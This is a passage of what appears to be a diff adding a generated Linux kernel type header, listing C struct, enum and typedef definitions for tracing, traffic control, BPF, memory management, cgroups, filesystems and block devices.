protocol; + u32 prio; + void *data; + const struct tcf_proto_ops *ops; + struct tcf_chain *chain; + spinlock_t lock; + bool deleting; + refcount_t refcnt; + struct callback_head rcu; + struct hlist_node destroy_ht_node; +}; + +struct tcf_result { + union { + struct { + long unsigned int class; + u32 classid; + }; + const struct tcf_proto *goto_tp; + }; +}; + +struct tcf_walker; + +struct tcf_exts; + +struct tcf_proto_ops { + struct list_head head; + char kind[16]; + int (*classify)(struct sk_buff *, const struct tcf_proto *, struct tcf_result *); + int (*init)(struct tcf_proto *); + void (*destroy)(struct tcf_proto *, bool, struct netlink_ext_ack *); + void * (*get)(struct tcf_proto *, u32); + void (*put)(struct tcf_proto *, void *); + int (*change)(struct net *, struct sk_buff *, struct tcf_proto *, long unsigned int, u32, struct nlattr **, void **, u32, struct netlink_ext_ack *); + int (*delete)(struct tcf_proto *, void *, bool *, bool, struct netlink_ext_ack *); + bool (*delete_empty)(struct tcf_proto *); + void (*walk)(struct tcf_proto *, struct tcf_walker *, bool); + int (*reoffload)(struct tcf_proto *, bool, flow_setup_cb_t *, void *, struct netlink_ext_ack *); + void (*hw_add)(struct tcf_proto *, void *); + void (*hw_del)(struct tcf_proto *, void *); + void (*bind_class)(void *, u32, long unsigned int, void *, long unsigned int); + void * (*tmplt_create)(struct net *, struct tcf_chain *, struct nlattr **, struct netlink_ext_ack *); + void (*tmplt_destroy)(void *); + struct tcf_exts * (*get_exts)(const struct tcf_proto *, u32); + int (*dump)(struct net *, struct tcf_proto *, void *, struct sk_buff *, struct tcmsg *, bool); + int (*terse_dump)(struct net *, struct tcf_proto *, void *, struct sk_buff *, struct tcmsg *, bool); + int (*tmplt_dump)(struct sk_buff *, struct net *, void *); + struct module *owner; + int flags; +}; + +struct tcf_chain { + struct mutex filter_chain_lock; + struct tcf_proto *filter_chain; + struct list_head list; + struct tcf_block *block; + u32 index; + unsigned int refcnt; + unsigned int action_refcnt; + bool explicitly_created; + bool flushing; + const struct tcf_proto_ops *tmplt_ops; + void *tmplt_priv; + struct callback_head rcu; +}; + +typedef unsigned int (*bpf_dispatcher_fn)(const void *, const struct bpf_insn *, unsigned int (*)(const void *, const struct bpf_insn *)); + +struct bpf_nh_params { + u32 nh_family; + union { + u32 ipv4_nh; + struct in6_addr ipv6_nh; + }; +}; + +struct bpf_redirect_info { + u64 tgt_index; + void *tgt_value; + struct bpf_map *map; + u32 flags; + u32 kern_flags; + u32 map_id; + enum bpf_map_type map_type; + struct bpf_nh_params nh; +}; + +struct ring_buffer_event { + u32 type_len: 5; + u32 time_delta: 27; + u32 array[0]; +}; + +struct ftrace_hash { + long unsigned int size_bits; + struct hlist_head *buckets; + long unsigned int count; + long unsigned int flags; + struct callback_head rcu; +}; + +enum perf_branch_sample_type_shift { + PERF_SAMPLE_BRANCH_USER_SHIFT = 0, + PERF_SAMPLE_BRANCH_KERNEL_SHIFT = 1, + PERF_SAMPLE_BRANCH_HV_SHIFT = 2, + PERF_SAMPLE_BRANCH_ANY_SHIFT = 3, + PERF_SAMPLE_BRANCH_ANY_CALL_SHIFT = 4, + PERF_SAMPLE_BRANCH_ANY_RETURN_SHIFT = 5, + PERF_SAMPLE_BRANCH_IND_CALL_SHIFT = 6, + PERF_SAMPLE_BRANCH_ABORT_TX_SHIFT = 7, + PERF_SAMPLE_BRANCH_IN_TX_SHIFT = 8, + PERF_SAMPLE_BRANCH_NO_TX_SHIFT = 9, + PERF_SAMPLE_BRANCH_COND_SHIFT = 10, + PERF_SAMPLE_BRANCH_CALL_STACK_SHIFT = 11, + PERF_SAMPLE_BRANCH_IND_JUMP_SHIFT = 12, + PERF_SAMPLE_BRANCH_CALL_SHIFT = 13, + PERF_SAMPLE_BRANCH_NO_FLAGS_SHIFT = 14, + PERF_SAMPLE_BRANCH_NO_CYCLES_SHIFT = 15, + PERF_SAMPLE_BRANCH_TYPE_SAVE_SHIFT = 16, + PERF_SAMPLE_BRANCH_HW_INDEX_SHIFT = 17, + PERF_SAMPLE_BRANCH_PRIV_SAVE_SHIFT = 18, + PERF_SAMPLE_BRANCH_MAX_SHIFT = 19, +}; + +enum exception_stack_ordering { + ESTACK_DF = 0, + ESTACK_NMI = 1, + ESTACK_DB = 2, + ESTACK_MCE = 3, + ESTACK_VC = 4, + ESTACK_VC2 = 5, + N_EXCEPTION_STACKS = 6, +}; + +struct prog_entry; + +struct event_filter { + struct prog_entry *prog; + char *filter_string; +}; + +struct trace_buffer; + +struct trace_array_cpu; + +struct array_buffer { + struct trace_array *tr; + struct trace_buffer *buffer; + struct trace_array_cpu *data; + u64 time_start; + int cpu; +}; + +struct trace_pid_list; + +struct trace_event_file; + +struct trace_options; + +struct trace_func_repeats; + +struct trace_array { + struct list_head list; + char *name; + struct array_buffer array_buffer; + struct trace_pid_list *filtered_pids; + struct trace_pid_list *filtered_no_pids; + arch_spinlock_t max_lock; + int buffer_disabled; + int sys_refcount_enter; + int sys_refcount_exit; + struct trace_event_file *enter_syscall_files[451]; + struct trace_event_file *exit_syscall_files[451]; + int stop_count; + int clock_id; + int nr_topts; + bool clear_trace; + int buffer_percent; + unsigned int n_err_log_entries; + struct tracer *current_trace; + unsigned int trace_flags; + unsigned char trace_flags_index[32]; + unsigned int flags; + raw_spinlock_t start_lock; + struct list_head err_log; + struct dentry *dir; + struct dentry *options; + struct dentry *percpu_dir; + struct dentry *event_dir; + struct trace_options *topts; + struct list_head systems; + struct list_head events; + struct trace_event_file *trace_marker_file; + cpumask_var_t tracing_cpumask; + int ref; + int trace_ref; + struct ftrace_ops *ops; + struct trace_pid_list *function_pids; + struct trace_pid_list *function_no_pids; + struct list_head func_probes; + struct list_head mod_trace; + struct list_head mod_notrace; + int function_enabled; + int no_filter_buffering_ref; + struct list_head hist_vars; + struct trace_func_repeats *last_func_repeats; +}; + +struct tracer_flags; + +struct tracer { + const char *name; + int (*init)(struct trace_array *); + void (*reset)(struct trace_array *); + void (*start)(struct trace_array *); + void (*stop)(struct trace_array *); + int (*update_thresh)(struct trace_array *); + void (*open)(struct trace_iterator *); + void (*pipe_open)(struct trace_iterator *); + void (*close)(struct trace_iterator *); + void (*pipe_close)(struct trace_iterator *); + ssize_t (*read)(struct trace_iterator *, struct file *, char *, size_t, loff_t *); + ssize_t (*splice_read)(struct trace_iterator *, struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int); + void (*print_header)(struct seq_file *); + enum print_line_t (*print_line)(struct trace_iterator *); + int (*set_flag)(struct trace_array *, u32, u32, int); + int (*flag_changed)(struct trace_array *, u32, int); + struct tracer *next; + struct tracer_flags *flags; + int enabled; + bool print_max; + bool allow_instances; + bool noboot; +}; + +struct trace_event_buffer { + struct trace_buffer *buffer; + struct ring_buffer_event *event; + struct trace_event_file *trace_file; + void *entry; + unsigned int trace_ctx; + struct pt_regs *regs; +}; + +struct trace_subsystem_dir; + +struct trace_event_file { + struct list_head list; + struct trace_event_call *event_call; + struct event_filter *filter; + struct dentry *dir; + struct trace_array *tr; + struct trace_subsystem_dir *system; + struct list_head triggers; + long unsigned int flags; + atomic_t sm_ref; + atomic_t tm_ref; +}; + +enum { + TRACE_EVENT_FL_FILTERED = 1, + TRACE_EVENT_FL_CAP_ANY = 2, + TRACE_EVENT_FL_NO_SET_FILTER = 4, + TRACE_EVENT_FL_IGNORE_ENABLE = 8, + TRACE_EVENT_FL_TRACEPOINT = 16, + TRACE_EVENT_FL_DYNAMIC = 32, + TRACE_EVENT_FL_KPROBE = 64, + TRACE_EVENT_FL_UPROBE = 128, + TRACE_EVENT_FL_EPROBE = 256, + TRACE_EVENT_FL_CUSTOM = 512, +}; + +enum { + EVENT_FILE_FL_ENABLED = 1, + EVENT_FILE_FL_RECORDED_CMD = 2, + EVENT_FILE_FL_RECORDED_TGID = 4, + EVENT_FILE_FL_FILTERED = 8, + EVENT_FILE_FL_NO_SET_FILTER = 16, + EVENT_FILE_FL_SOFT_MODE = 32, + EVENT_FILE_FL_SOFT_DISABLED = 64, + EVENT_FILE_FL_TRIGGER_MODE = 128, + EVENT_FILE_FL_TRIGGER_COND = 256, + EVENT_FILE_FL_PID_FILTER = 512, + EVENT_FILE_FL_WAS_ENABLED = 1024, +}; + +struct event_subsystem; + +struct trace_subsystem_dir { + struct list_head list; + struct event_subsystem *subsystem; + struct trace_array *tr; + struct dentry *entry; + int ref_count; + int nr_events; +}; + +enum { + FILTER_OTHER = 0, + FILTER_STATIC_STRING = 1, + FILTER_DYN_STRING = 2, + FILTER_RDYN_STRING = 3, + FILTER_PTR_STRING = 4, + FILTER_TRACE_FN = 5, + FILTER_COMM = 6, + FILTER_CPU = 7, +}; + +union lower_chunk { + union lower_chunk *next; + long unsigned int data[256]; +}; + +union upper_chunk { + union upper_chunk *next; + union lower_chunk *data[256]; +}; + +struct trace_pid_list { + raw_spinlock_t lock; + struct irq_work refill_irqwork; + union upper_chunk *upper[256]; + union upper_chunk *upper_list; + union lower_chunk *lower_list; + int free_upper_chunks; + int free_lower_chunks; +}; + +typedef long int (*sys_call_ptr_t)(const struct pt_regs *); + +struct trace_array_cpu { + atomic_t disabled; + void *buffer_page; + long unsigned int entries; + long unsigned int saved_latency; + long unsigned int critical_start; + long unsigned int critical_end; + long unsigned int critical_sequence; + long unsigned int nice; + long unsigned int policy; + long unsigned int rt_priority; + long unsigned int skipped_entries; + u64 preempt_timestamp; + pid_t pid; + kuid_t uid; + char comm[16]; + int ftrace_ignore_pid; + bool ignore_pid; +}; + +struct trace_option_dentry; + +struct trace_options { + struct tracer *tracer; + struct trace_option_dentry *topts; +}; + +struct tracer_opt; + +struct trace_option_dentry { + struct tracer_opt *opt; + struct tracer_flags *flags; + struct trace_array *tr; + struct dentry *entry; +}; + +struct trace_func_repeats { + long unsigned int ip; + long unsigned int parent_ip; + long unsigned int count; + u64 ts_last_call; +}; + +struct tracer_opt { + const char *name; + u32 bit; +}; + +struct tracer_flags { + u32 val; + struct tracer_opt *opts; + struct tracer *trace; +}; + +enum trace_iterator_bits { + TRACE_ITER_PRINT_PARENT_BIT = 0, + TRACE_ITER_SYM_OFFSET_BIT = 1, + TRACE_ITER_SYM_ADDR_BIT = 2, + TRACE_ITER_VERBOSE_BIT = 3, + TRACE_ITER_RAW_BIT = 4, + TRACE_ITER_HEX_BIT = 5, + TRACE_ITER_BIN_BIT = 6, + TRACE_ITER_BLOCK_BIT = 7, + TRACE_ITER_FIELDS_BIT = 8, + TRACE_ITER_PRINTK_BIT = 9, + TRACE_ITER_ANNOTATE_BIT = 10, + TRACE_ITER_USERSTACKTRACE_BIT = 11, + TRACE_ITER_SYM_USEROBJ_BIT = 12, + TRACE_ITER_PRINTK_MSGONLY_BIT = 13, + TRACE_ITER_CONTEXT_INFO_BIT = 14, + TRACE_ITER_LATENCY_FMT_BIT = 15, + TRACE_ITER_RECORD_CMD_BIT = 16, + TRACE_ITER_RECORD_TGID_BIT = 17, + TRACE_ITER_OVERWRITE_BIT = 18, + TRACE_ITER_STOP_ON_FREE_BIT = 19, + TRACE_ITER_IRQ_INFO_BIT = 20, + TRACE_ITER_MARKERS_BIT = 21, + TRACE_ITER_EVENT_FORK_BIT = 22, + TRACE_ITER_PAUSE_ON_TRACE_BIT = 23, + TRACE_ITER_HASH_PTR_BIT = 24, + TRACE_ITER_FUNCTION_BIT = 25, + TRACE_ITER_FUNC_FORK_BIT = 26, + TRACE_ITER_DISPLAY_GRAPH_BIT = 27, + TRACE_ITER_STACKTRACE_BIT = 28, + TRACE_ITER_LAST_BIT = 29, +}; + +struct event_subsystem { + struct list_head list; + const char *name; + struct event_filter *filter; + int ref_count; +}; + +struct dyn_event; + +struct dyn_event_operations { + struct list_head list; + int (*create)(const char *); + int (*show)(struct seq_file *, struct dyn_event *); + bool (*is_busy)(struct dyn_event *); + int (*free)(struct dyn_event *); + bool (*match)(const char *, const char *, int, const char **, struct dyn_event *); +}; + +struct dyn_event { + struct list_head list; + struct dyn_event_operations *ops; +}; + +typedef int (*print_type_func_t)(struct trace_seq *, void *, void *); + +enum fetch_op { + FETCH_OP_NOP = 0, + FETCH_OP_REG = 1, + FETCH_OP_STACK = 2, + FETCH_OP_STACKP = 3, + FETCH_OP_RETVAL = 4, + FETCH_OP_IMM = 5, + FETCH_OP_COMM = 6, + FETCH_OP_ARG = 7, + FETCH_OP_FOFFS = 8, + FETCH_OP_DATA = 9, + FETCH_OP_DEREF = 10, + FETCH_OP_UDEREF = 11, + FETCH_OP_ST_RAW = 12, + FETCH_OP_ST_MEM = 13, + FETCH_OP_ST_UMEM = 14, + FETCH_OP_ST_STRING = 15, + FETCH_OP_ST_USTRING = 16, + FETCH_OP_ST_SYMSTR = 17, + FETCH_OP_MOD_BF = 18, + FETCH_OP_LP_ARRAY = 19, + FETCH_OP_TP_ARG = 20, + FETCH_OP_END = 21, + FETCH_NOP_SYMBOL = 22, +}; + +struct fetch_insn { + enum fetch_op op; + union { + unsigned int param; + struct { + unsigned int size; + int offset; + }; + struct { + unsigned char basesize; + unsigned char lshift; + unsigned char rshift; + }; + long unsigned int immediate; + void *data; + }; +}; + +struct fetch_type { + const char *name; + size_t size; + bool is_signed; + bool is_string; + print_type_func_t print; + const char *fmt; + const char *fmttype; +}; + +struct probe_arg { + struct fetch_insn *code; + bool dynamic; + unsigned int offset; + unsigned int count; + const char *name; + const char *comm; + char *fmt; + const struct fetch_type *type; +}; + +struct trace_uprobe_filter { + rwlock_t rwlock; + int nr_systemwide; + struct list_head perf_events; +}; + +struct trace_probe_event { + unsigned int flags; + struct trace_event_class class; + struct trace_event_call call; + struct list_head files; + struct list_head probes; + struct trace_uprobe_filter filter[0]; +}; + +struct trace_probe { + struct list_head list; + struct trace_probe_event *event; + ssize_t size; + unsigned int nr_args; + struct probe_arg args[0]; +}; + +struct event_file_link { + struct trace_event_file *file; + struct list_head list; +}; + +enum probe_print_type { + PROBE_PRINT_NORMAL = 0, + PROBE_PRINT_RETURN = 1, + PROBE_PRINT_EVENT = 2, +}; + +enum { + TP_ERR_FILE_NOT_FOUND = 0, + TP_ERR_NO_REGULAR_FILE = 1, + TP_ERR_BAD_REFCNT = 2, + TP_ERR_REFCNT_OPEN_BRACE = 3, + TP_ERR_BAD_REFCNT_SUFFIX = 4, + TP_ERR_BAD_UPROBE_OFFS = 5, + TP_ERR_MAXACT_NO_KPROBE = 6, + TP_ERR_BAD_MAXACT = 7, + TP_ERR_MAXACT_TOO_BIG = 8, + TP_ERR_BAD_PROBE_ADDR = 9, + TP_ERR_BAD_RETPROBE = 10, + TP_ERR_BAD_ADDR_SUFFIX = 11, + TP_ERR_NO_GROUP_NAME = 12, + TP_ERR_GROUP_TOO_LONG = 13, + TP_ERR_BAD_GROUP_NAME = 14, + TP_ERR_NO_EVENT_NAME = 15, + TP_ERR_EVENT_TOO_LONG = 16, + TP_ERR_BAD_EVENT_NAME = 17, + TP_ERR_EVENT_EXIST = 18, + TP_ERR_RETVAL_ON_PROBE = 19, + TP_ERR_BAD_STACK_NUM = 20, + TP_ERR_BAD_ARG_NUM = 21, + TP_ERR_BAD_VAR = 22, + TP_ERR_BAD_REG_NAME = 23, + TP_ERR_BAD_MEM_ADDR = 24, + TP_ERR_BAD_IMM = 25, + TP_ERR_IMMSTR_NO_CLOSE = 26, + TP_ERR_FILE_ON_KPROBE = 27, + TP_ERR_BAD_FILE_OFFS = 28, + TP_ERR_SYM_ON_UPROBE = 29, + TP_ERR_TOO_MANY_OPS = 30, + TP_ERR_DEREF_NEED_BRACE = 31, + TP_ERR_BAD_DEREF_OFFS = 32, + TP_ERR_DEREF_OPEN_BRACE = 33, + TP_ERR_COMM_CANT_DEREF = 34, + TP_ERR_BAD_FETCH_ARG = 35, + TP_ERR_ARRAY_NO_CLOSE = 36, + TP_ERR_BAD_ARRAY_SUFFIX = 37, + TP_ERR_BAD_ARRAY_NUM = 38, + TP_ERR_ARRAY_TOO_BIG = 39, + TP_ERR_BAD_TYPE = 40, + TP_ERR_BAD_STRING = 41, + TP_ERR_BAD_SYMSTRING = 42, + TP_ERR_BAD_BITFIELD = 43, + TP_ERR_ARG_NAME_TOO_LONG = 44, + TP_ERR_NO_ARG_NAME = 45, + TP_ERR_BAD_ARG_NAME = 46, + TP_ERR_USED_ARG_NAME = 47, + TP_ERR_ARG_TOO_LONG = 48, + TP_ERR_NO_ARG_BODY = 49, + TP_ERR_BAD_INSN_BNDRY = 50, + TP_ERR_FAIL_REG_PROBE = 51, + TP_ERR_DIFF_PROBE_TYPE = 52, + TP_ERR_DIFF_ARG_TYPE = 53, + TP_ERR_SAME_PROBE = 54, + TP_ERR_NO_EVENT_INFO = 55, + TP_ERR_BAD_ATTACH_EVENT = 56, + TP_ERR_BAD_ATTACH_ARG = 57, + TP_ERR_NO_EP_FILTER = 58, +}; + +struct uprobe_trace_entry_head { + struct trace_entry ent; + long unsigned int vaddr[0]; +}; + +struct trace_uprobe { + struct dyn_event devent; + struct uprobe_consumer consumer; + struct path path; + struct inode *inode; + char *filename; + long unsigned int offset; + long unsigned int ref_ctr_offset; + long unsigned int nhit; + struct trace_probe tp; +}; + +struct uprobe_dispatch_data { + struct trace_uprobe *tu; + long unsigned int bp_addr; +}; + +struct uprobe_cpu_buffer { + struct mutex mutex; + void *buf; +}; + +typedef bool (*filter_func_t)(struct uprobe_consumer *, enum uprobe_filter_ctx, struct mm_struct *); + +struct trace_print_flags { + long unsigned int mask; + const char *name; +}; + +struct maple_alloc { + long unsigned int total; + unsigned char node_count; + unsigned int request_count; + struct maple_alloc *slot[30]; +}; + +struct maple_enode; + +struct ma_state { + struct maple_tree *tree; + long unsigned int index; + long unsigned int last; + struct maple_enode *node; + long unsigned int min; + long unsigned int max; + struct maple_alloc *alloc; + unsigned char depth; + unsigned char offset; + unsigned char mas_flags; +}; + +struct ldt_struct { + struct desc_struct *entries; + unsigned int nr_entries; + int slot; +}; + +struct anon_vma_name { + struct kref kref; + char name[0]; +}; + +struct anon_vma { + struct anon_vma *root; + struct rw_semaphore rwsem; + atomic_t refcount; + long unsigned int num_children; + long unsigned int num_active_vmas; + struct anon_vma *parent; + struct rb_root_cached rb_root; +}; + +struct vma_iterator { + struct ma_state mas; +}; + +typedef struct { + long unsigned int val; +} swp_entry_t; + +struct compact_control; + +struct capture_control { + struct compact_control *cc; + struct page *page; +}; + +enum migrate_reason { + MR_COMPACTION = 0, + MR_MEMORY_FAILURE = 1, + MR_MEMORY_HOTPLUG = 2, + MR_SYSCALL = 3, + MR_MEMPOLICY_MBIND = 4, + MR_NUMA_MISPLACED = 5, + MR_CONTIG_RANGE = 6, + MR_LONGTERM_PIN = 7, + MR_DEMOTION = 8, + MR_TYPES = 9, +}; + +struct encoded_page; + +struct mm_walk; + +struct mm_walk_ops { + int (*pgd_entry)(pgd_t *, long unsigned int, long unsigned int, struct mm_walk *); + int (*p4d_entry)(p4d_t *, long unsigned int, long unsigned int, struct mm_walk *); + int (*pud_entry)(pud_t *, long unsigned int, long unsigned int, struct mm_walk *); + int (*pmd_entry)(pmd_t *, long unsigned int, long unsigned int, struct mm_walk *); + int (*pte_entry)(pte_t *, long unsigned int, long unsigned int, struct mm_walk *); + int (*pte_hole)(long unsigned int, long unsigned int, int, struct mm_walk *); + int (*hugetlb_entry)(pte_t *, long unsigned int, long unsigned int, long unsigned int, struct mm_walk *); + int (*test_walk)(long unsigned int, long unsigned int, struct mm_walk *); + int (*pre_vma)(long unsigned int, long unsigned int, struct mm_walk *); + void (*post_vma)(struct mm_walk *); +}; + +enum page_walk_action { + ACTION_SUBTREE = 0, + ACTION_CONTINUE = 1, + ACTION_AGAIN = 2, +}; + +struct mm_walk { + const struct mm_walk_ops *ops; + struct mm_struct *mm; + pgd_t *pgd; + struct vm_area_struct *vma; + enum page_walk_action action; + bool no_vma; + void *private; +}; + +enum { + EI_ETYPE_NULL = 0, + EI_ETYPE_ERRNO = 1, + EI_ETYPE_ERRNO_NULL = 2, + EI_ETYPE_TRUE = 3, +}; + +typedef long unsigned int pte_marker; + +struct syscall_metadata { + const char *name; + int syscall_nr; + int nb_args; + const char **types; + const char **args; + struct list_head enter_fields; + struct trace_event_call *enter_event; + struct trace_event_call *exit_event; +}; + +struct mmu_notifier_range { + long unsigned int start; + long unsigned int end; +}; + +struct mmu_gather_batch { + struct mmu_gather_batch *next; + unsigned int nr; + unsigned int max; + struct encoded_page *encoded_pages[0]; +}; + +struct mmu_gather { + struct mm_struct *mm; + long unsigned int start; + long unsigned int end; + unsigned int fullmm: 1; + unsigned int need_flush_all: 1; + unsigned int freed_tables: 1; + unsigned int delayed_rmap: 1; + unsigned int cleared_ptes: 1; + unsigned int cleared_pmds: 1; + unsigned int cleared_puds: 1; + unsigned int cleared_p4ds: 1; + unsigned int vma_exec: 1; + unsigned int vma_huge: 1; + unsigned int vma_pfn: 1; + unsigned int batch_count; + struct mmu_gather_batch *active; + struct mmu_gather_batch local; + struct page *__pages[8]; +}; + +struct compact_control { + struct list_head freepages; + struct list_head migratepages; + unsigned int nr_freepages; + unsigned int nr_migratepages; + long unsigned int free_pfn; + long unsigned int migrate_pfn; + long unsigned int fast_start_pfn; + struct zone *zone; + long unsigned int total_migrate_scanned; + long unsigned int total_free_scanned; + short unsigned int fast_search_fail; + short int search_order; + const gfp_t gfp_mask; + int order; + int migratetype; + const unsigned int alloc_flags; + const int highest_zoneidx; + enum migrate_mode mode; + bool ignore_skip_hint; + bool no_set_skip_hint; + bool ignore_block_suitable; + bool direct_compaction; + bool proactive_compaction; + bool whole_zone; + bool contended; + bool finish_pageblock; + bool alloc_contig; +}; + +struct file_system_type; + +enum { + TASKSTATS_CMD_UNSPEC = 0, + TASKSTATS_CMD_GET = 1, + TASKSTATS_CMD_NEW = 2, + __TASKSTATS_CMD_MAX = 3, +}; + +enum { + __PERCPU_REF_ATOMIC = 1, + __PERCPU_REF_DEAD = 2, + __PERCPU_REF_ATOMIC_DEAD = 3, + __PERCPU_REF_FLAG_BITS = 2, +}; + +enum ucount_type { + UCOUNT_USER_NAMESPACES = 0, + UCOUNT_PID_NAMESPACES = 1, + UCOUNT_UTS_NAMESPACES = 2, + UCOUNT_IPC_NAMESPACES = 3, + UCOUNT_NET_NAMESPACES = 4, + UCOUNT_MNT_NAMESPACES = 5, + UCOUNT_CGROUP_NAMESPACES = 6, + UCOUNT_TIME_NAMESPACES = 7, + UCOUNT_INOTIFY_INSTANCES = 8, + UCOUNT_INOTIFY_WATCHES = 9, + UCOUNT_COUNTS = 10, +}; + +enum rlimit_type { + UCOUNT_RLIMIT_NPROC = 0, + UCOUNT_RLIMIT_MSGQUEUE = 1, + UCOUNT_RLIMIT_SIGPENDING = 2, + UCOUNT_RLIMIT_MEMLOCK = 3, + UCOUNT_RLIMIT_COUNTS = 4, +}; + +enum cpu_usage_stat { + CPUTIME_USER = 0, + CPUTIME_NICE = 1, + CPUTIME_SYSTEM = 2, + CPUTIME_SOFTIRQ = 3, + CPUTIME_IRQ = 4, + CPUTIME_IDLE = 5, + CPUTIME_IOWAIT = 6, + CPUTIME_STEAL = 7, + CPUTIME_GUEST = 8, + CPUTIME_GUEST_NICE = 9, + NR_STATS = 10, +}; + +enum cgroup_bpf_attach_type { + CGROUP_BPF_ATTACH_TYPE_INVALID = -1, + CGROUP_INET_INGRESS = 0, + CGROUP_INET_EGRESS = 1, + CGROUP_INET_SOCK_CREATE = 2, + CGROUP_SOCK_OPS = 3, + CGROUP_DEVICE = 4, + CGROUP_INET4_BIND = 5, + CGROUP_INET6_BIND = 6, + CGROUP_INET4_CONNECT = 7, + CGROUP_INET6_CONNECT = 8, + CGROUP_INET4_POST_BIND = 9, + CGROUP_INET6_POST_BIND = 10, + CGROUP_UDP4_SENDMSG = 11, + CGROUP_UDP6_SENDMSG = 12, + CGROUP_SYSCTL = 13, + CGROUP_UDP4_RECVMSG = 14, + CGROUP_UDP6_RECVMSG = 15, + CGROUP_GETSOCKOPT = 16, + CGROUP_SETSOCKOPT = 17, + CGROUP_INET4_GETPEERNAME = 18, + CGROUP_INET6_GETPEERNAME = 19, + CGROUP_INET4_GETSOCKNAME = 20, + CGROUP_INET6_GETSOCKNAME = 21, + CGROUP_INET_SOCK_RELEASE = 22, + CGROUP_LSM_START = 23, + CGROUP_LSM_END = 32, + MAX_CGROUP_BPF_ATTACH_TYPE = 33, +}; + +enum cgroup_subsys_id { + cpuset_cgrp_id = 0, + cpu_cgrp_id = 1, + cpuacct_cgrp_id = 2, + io_cgrp_id = 3, + memory_cgrp_id = 4, + devices_cgrp_id = 5, + freezer_cgrp_id = 6, + net_cls_cgrp_id = 7, + perf_event_cgrp_id = 8, + hugetlb_cgrp_id = 9, + CGROUP_SUBSYS_COUNT = 10, +}; + +enum { + CSS_NO_REF = 1, + CSS_ONLINE = 2, + CSS_RELEASED = 4, + CSS_VISIBLE = 8, + CSS_DYING = 16, +}; + +enum { + CFTYPE_ONLY_ON_ROOT = 1, + CFTYPE_NOT_ON_ROOT = 2, + CFTYPE_NS_DELEGATABLE = 4, + CFTYPE_NO_PREFIX = 8, + CFTYPE_WORLD_WRITABLE = 16, + CFTYPE_DEBUG = 32, + __CFTYPE_ONLY_ON_DFL = 65536, + __CFTYPE_NOT_ON_DFL = 131072, + __CFTYPE_ADDED = 262144, +}; + +struct resv_map { + struct kref refs; + spinlock_t lock; + struct list_head regions; + long int adds_in_progress; + struct list_head region_cache; + long int region_cache_count; + struct page_counter *reservation_counter; + long unsigned int pages_per_hpage; + struct cgroup_subsys_state *css; +}; + +struct file_region { + struct list_head link; + long int from; + long int to; + struct page_counter *reservation_counter; + struct cgroup_subsys_state *css; +}; + +enum hugetlb_memory_event { + HUGETLB_MAX = 0, + HUGETLB_NR_MEMORY_EVENTS = 1, +}; + +struct hugetlb_cgroup_per_node { + long unsigned int usage[2]; +}; + +struct hugetlb_cgroup { + struct cgroup_subsys_state css; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct page_counter hugepage[2]; + struct page_counter rsvd_hugepage[2]; + atomic_long_t events[2]; + atomic_long_t events_local[2]; + struct cgroup_file events_file[2]; + struct cgroup_file events_local_file[2]; + struct hugetlb_cgroup_per_node *nodeinfo[0]; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +enum { + RES_USAGE = 0, + RES_RSVD_USAGE = 1, + RES_LIMIT = 2, + RES_RSVD_LIMIT = 3, + RES_MAX_USAGE = 4, + RES_RSVD_MAX_USAGE = 5, + RES_FAILCNT = 6, + RES_RSVD_FAILCNT = 7, +}; + +typedef struct { + int val[2]; +} __kernel_fsid_t; + +struct __large_struct { + long unsigned int buf[100]; +}; + +typedef struct fsnotify_mark_connector *fsnotify_connp_t; + +struct fsnotify_mark_connector { + spinlock_t lock; + short unsigned int type; + short unsigned int flags; + __kernel_fsid_t fsid; + union { + fsnotify_connp_t *obj; + struct fsnotify_mark_connector *destroy_next; + }; + struct hlist_head list; +}; + +struct fd { + struct file *file; + unsigned int flags; +}; + +enum fsnotify_data_type { + FSNOTIFY_EVENT_NONE = 0, + FSNOTIFY_EVENT_PATH = 1, + FSNOTIFY_EVENT_INODE = 2, + FSNOTIFY_EVENT_DENTRY = 3, + FSNOTIFY_EVENT_ERROR = 4, +}; + +struct linux_dirent64 { + u64 d_ino; + s64 d_off; + short unsigned int d_reclen; + unsigned char d_type; + char d_name[0]; +}; + +struct old_linux_dirent { + long unsigned int d_ino; + long unsigned int d_offset; + short unsigned int d_namlen; + char d_name[1]; +}; + +struct readdir_callback { + struct dir_context ctx; + struct old_linux_dirent *dirent; + int result; +}; + +struct linux_dirent { + long unsigned int d_ino; + long unsigned int d_off; + short unsigned int d_reclen; + char d_name[1]; +}; + +struct getdents_callback { + struct dir_context ctx; + struct linux_dirent *current_dir; + int prev_reclen; + int count; + int error; +}; + +struct getdents_callback64 { + struct dir_context ctx; + struct linux_dirent64 *current_dir; + int prev_reclen; + int count; + int error; +}; + +typedef int __kernel_daddr_t; + +struct ustat { + __kernel_daddr_t f_tfree; + long unsigned int f_tinode; + char f_fname[6]; + char f_fpack[6]; +}; + +struct kstatfs { + long int f_type; + long int f_bsize; + u64 f_blocks; + u64 f_bfree; + u64 f_bavail; + u64 f_files; + u64 f_ffree; + __kernel_fsid_t f_fsid; + long int f_namelen; + long int f_frsize; + long int f_flags; + long int f_spare[4]; +}; + +struct statfs { + __kernel_long_t f_type; + __kernel_long_t f_bsize; + __kernel_long_t f_blocks; + __kernel_long_t f_bfree; + __kernel_long_t f_bavail; + __kernel_long_t f_files; + __kernel_long_t f_ffree; + __kernel_fsid_t f_fsid; + __kernel_long_t f_namelen; + __kernel_long_t f_frsize; + __kernel_long_t f_flags; + __kernel_long_t f_spare[4]; +}; + +struct statfs64 { + __kernel_long_t f_type; + __kernel_long_t f_bsize; + __u64 f_blocks; + __u64 f_bfree; + __u64 f_bavail; + __u64 f_files; + __u64 f_ffree; + __kernel_fsid_t f_fsid; + __kernel_long_t f_namelen; + __kernel_long_t f_frsize; + __kernel_long_t f_flags; + __kernel_long_t f_spare[4]; +}; + +struct fs_context_operations; + +struct request; + +struct blk_plug { + struct request *mq_list; + struct request *cached_rq; + short unsigned int nr_ios; + short unsigned int rq_count; + bool multiple_queues; + bool has_elevator; + bool nowait; + struct list_head cb_list; +}; + +struct block_device_operations; + +struct timer_rand_state; + +struct disk_events; + +struct badblocks; + +struct blk_independent_access_ranges; + +struct gendisk { + int major; + int first_minor; + int minors; + char disk_name[32]; + short unsigned int events; + short unsigned int event_flags; + struct xarray part_tbl; + struct block_device *part0; + const struct block_device_operations *fops; + struct request_queue *queue; + void *private_data; + struct bio_set bio_split; + int flags; + long unsigned int state; + struct mutex open_mutex; + unsigned int open_partitions; + struct backing_dev_info *bdi; + struct kobject queue_kobj; + struct kobject *slave_dir; + struct 